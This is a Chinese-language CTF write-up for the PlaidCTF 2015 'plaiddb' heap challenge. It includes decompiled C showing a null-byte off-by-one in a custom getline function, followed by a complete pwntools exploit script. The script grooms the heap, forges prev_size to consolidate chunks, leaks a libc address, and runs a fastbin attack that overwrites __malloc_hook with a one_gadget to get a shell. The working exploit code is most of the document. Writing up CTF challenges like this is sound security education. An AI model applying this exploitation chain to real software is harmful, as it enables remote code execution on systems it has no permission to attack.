plaidctf 2015 plaiddb

关键数据结构：

struct Node {
    char *key;
    long data_size;
    char *data;
    struct Node *left;
    struct Node *right;
    long dummy;
    long dummy1;
}

功能函数需要注意的是 getline (自己实现的单行读取函数):

char *__fastcall getline(__int64 a1, __int64 a2)
{
  char *v2; // r12
  char *v3; // rbx
  size_t v4; // r14
  char v5; // al
  char v6; // bp
  signed __int64 v7; // r13
  char *v8; // rax

  v2 = (char *)malloc(8uLL); // 一开始使用 malloc(8) 进行分配
  v3 = v2;
  v4 = malloc_usable_size(v2); // 计算了可用大小，例如对于 malloc(8) 来说，这里应该为24
  while ( 1 )
  {
    v5 = _IO_getc(stdin);
    v6 = v5;
    if ( v5 == -1 )
      bye();
    if ( v5 == 10 )
      break;
    v7 = v3 - v2;
    if ( v4 <= v3 - v2 )
    {
      v8 = (char *)realloc(v2, 2 * v4); // 大小不够是将可用大小乘二，进行 realloc
      v2 = v8;
      if ( !v8 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      v3 = &v8[v7];
      v4 = malloc_usable_size(v8);
    }
    *v3++ = v6; // <--- 漏洞所在，此时 v3 作为索引，指向了下一个位置，如果位置全部使用完毕则会指向下一个本应该不可写位置 
  }
  *v3 = 0; // <--- 漏洞所在。 off by one （NULL 字节溢出）
  return v2;
}

几个主要功能：

unsigned __int64 main_fn()
{
  char v1[8]; // [rsp+0h] [rbp-18h]
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  puts("PROMPT: Enter command:");
  gets_checked(v1, 8LL);
  if ( !strcmp(v1, "GET\n") )
  {
    cmd_get();
  }
  else if ( !strcmp(v1, "PUT\n") )
  {
    cmd_put();
  }
  else if ( !strcmp(v1, "DUMP\n") )
  {
    cmd_dump();
  }
  else if ( !strcmp(v1, "DEL\n") )
  {
    cmd_del();
  }
  else
  {
    if ( !strcmp(v1, "EXIT\n") )
      bye();
    __printf_chk(1LL, "ERROR: '%s' is not a valid command.\n", v1);
  }
  return __readfsqword(0x28u) ^ v2;
}

dump 和 get 都是用来读取内容，这样 key 和具体数据内容都可以读取，不太需要重点关注。重点关注 put 和 del：

__int64 __fastcall cmd_put()
{
  __int64 v0; // rsi
  Node *row; // rbx
  unsigned __int64 sz; // rax
  char *v3; // rax
  __int64 v4; // rbp
  __int64 result; // rax
  __int64 v6; // [rsp+0h] [rbp-38h]
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  row = (Node *)malloc(0x38uLL);
  if ( !row )
  {
    puts("FATAL: Can't allocate a row");
    exit(-1);
  }
  puts("PROMPT: Enter row key:");
  row->key = getline((__int64)"PROMPT: Enter row key:", v0);
  puts("PROMPT: Enter data size:");
  gets_checked((char *)&v6, 16LL);
  sz = strtoul((const char *)&v6, 0LL, 0);
  row->data_size = sz;
  v3 = (char *)malloc(sz);
  row->data = v3;
  if ( v3 )
  {
    puts("PROMPT: Enter data:");
    fread_checked(row->data, row->data_size);
    v4 = insert_node(row);
    if ( v4 )
    {
      free(row->key);
      free(*(void **)(v4 + 16));
      *(_QWORD *)(v4 + 8) = row->data_size;
      *(_QWORD *)(v4 + 16) = row->data;
      free(row);
      puts("INFO: Update successful.");
    }
    else
    {
      puts("INFO: Insert successful.");
    }
    result = __readfsqword(0x28u) ^ v7;
  }
  else
  {
    puts("ERROR: Can't store that much data.");
    free(row->key);
    free(row);
  }
  return result;
}

分配过程有：
1.malloc(0x38) (结构体)
2.getline (malloc 和 realloc)
3.malloc(size) 可控大小
4.读入 size 字节内容
更复杂的部分我们可以之后在看是否会用到，也就是在 put 中用到的关于 free 的部分

对于删除来说，这个函数比较复杂，就不再详细解释。事实上只需要知道他是按照 key 来进行删除，key 则使用 getline 进行读取，如果没有该 key，则 getline 的部分不会被删除，有的话，就依次 free

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8

import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = sys.argv[1]
    PORT = int(sys.argv[2])

    p = remote(HOST, PORT)
else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]

    p = process(PATH)


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04

def cmd(command_num):
    p.recvuntil('command:')
    p.sendline(str(command_num))


def put(key, size, data):
    cmd('PUT')
    p.recvuntil('key:')
    p.sendline(key)

    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('data:')
    if len(data) < size:
        p.send(data.ljust(size, '\x00'))
    else:
        p.send(data)


def delete(key):
    cmd('DEL')
    p.recvuntil('key:')
    p.sendline(key)


def get(key):
    cmd('GET')
    p.recvuntil('key:')
    p.sendline(key)
    p.recvuntil('[')
    num = int(p.recvuntil(' bytes').strip(' bytes'))
    p.recvuntil(':\n')
    return p.recv(num)


def main():
    # 相关函数实现的时候用到了一些0x38大小的块，避免影响我们提前搞一些
    for i in range(10):
        put(str(i), 0x38, str(i))

    for i in range(10):
        delete(str(i))

    # allocate what we want in order
    put('1', 0x200, '1')#设置的大一些，后面分配的时候会优先将其分配出去，但分配的过大就不会物理相连了，实测绕不开后面的问题
    put('2', 0x50, '2')#用来都libc的已分配块，表面上未分配，大小符合fastbin即可，暂未验证
    put('5', 0x68, '6')#用来进行fastbin attack的块，大小应该符合fastbin即可，暂未验证
    put('3', 0x1f8, '3')#用来溢出的块，溢出到下一个块的pre_size把他修改成上面全部块大小的和
    put('4', 0xf0, '4')#用来被溢出的块
    put('defense', 0x400, 'defense-data')#用来保护不被topchunk吞的块


    # free those need to be freed
    delete('5')
    delete('3')
    delete('1')

    delete('a' * 0x1f0 + p64(0x4e0))#溢出，4e0=0x200+0x50+0x68+0x1f8+0x30(这是没有被使用的指针部分大小，三个)

    delete('4')#合并12534块

    put('0x200', 0x200, 'fillup')#这里是在defense块分配后导致清理碎片清理，多出来一个0x360的smallbin要先把他分配掉
    put('0x200 fillup', 0x200, 'fillup again')#把1分配掉，这样2就是第一个块了，可以打印相关地址

    libc_leak = u64(get('2')[:6].ljust(8, '\x00'))
    p.info('libc leak: 0x%x' % libc_leak)

    libc_base = libc_leak - 0x3c4b78

    p.info('libc_base: 0x%x' % libc_base)
    #这些块物理相连，a*58之后正好是5块的pre_size和fd，修改即可控制下一个fastbin的位置
    put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 + 5 - 8))
    #-0x10是为了留出指针空间，-3是为了把指针所指的__malloc_hook处的7f地址提前，当成pre_size相关内容，否则fake_fastbin格式不符合要求
    put('prepare', 0x68, 'prepare data')
    
    one_gadget = libc_base + 0x4526a
    put('attack', 0x68, 'a' * 3 + p64(one_gadget))

    p.sendline('DEL') # malloc(8) triggers one_gadget

    p.interactive()

if __name__ == '__main__':
    main()